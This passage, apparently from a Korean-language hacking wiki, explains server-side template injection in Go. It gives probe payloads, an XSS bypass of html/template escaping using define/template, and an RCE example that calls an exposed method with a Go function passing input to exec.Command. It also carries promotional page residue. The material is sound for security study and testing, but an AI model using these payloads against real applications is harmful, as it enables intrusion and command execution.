  • {{ . }}: 데이터 구조 입력을 공개합니다. 예를 들어, Password 속성이 있는 객체가 전달되면, {{ .Password }}를 통해 노출될 수 있습니다.

  • {{printf "%s" "ssti" }}: 문자열 "ssti"를 표시하는 것을 기대합니다.

  • {{html "ssti"}}, {{js "ssti"}}: 이러한 payload는 "html" 또는 "js"를 추가하지 않고 "ssti"를 반환해야 합니다. 추가적인 지시문은 Go 문서 여기에서 확인할 수 있습니다.

XSS Exploitation

text/template 패키지를 사용하면 XSS를 쉽게 삽입하여 공격할 수 있습니다. 반면, html/template 패키지는 이를 방지하기 위해 응답을 인코딩합니다 (예: {{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;로 결과가 나옵니다). 그러나 Go에서의 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet 코드 복사

RCE Exploitation

html/templatetext/template 간에 RCE 공격은 크게 다릅니다. text/template 모듈은 "call" 값을 사용하여 직접 모든 공개 함수를 호출할 수 있지만, html/template에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 여기 html/template여기 text/template에서 확인할 수 있습니다.

Go에서의 SSTI를 통한 RCE를 위해 객체 메소드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 System 메소드가 명령을 실행하는 경우, {{ .System "ls" }}와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 액세스해야 합니다. 주어진 예제에서와 같이요.

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

추가 정보

더 많은 공격

더 많은 공격을 확인하려면 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection를 확인하세요. 또한 https://github.com/DiogoMRSilva/websitesVulnerableToSSTI에서 흥미로운 태그 정보를 찾을 수 있습니다.

BlackHat PDF

관련 도움말

유용할 것으로 생각되면 다음을 읽어보세요:

도구

브루트포스 탐지 목록

연습 및 참고 자료

​​​RootedCON스페인에서 가장 중요한 사이버 보안 이벤트 중 하나이며 유럽에서도 가장 중요한 행사 중 하나입니다. 기술 지식을 촉진하는 데 노력하는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated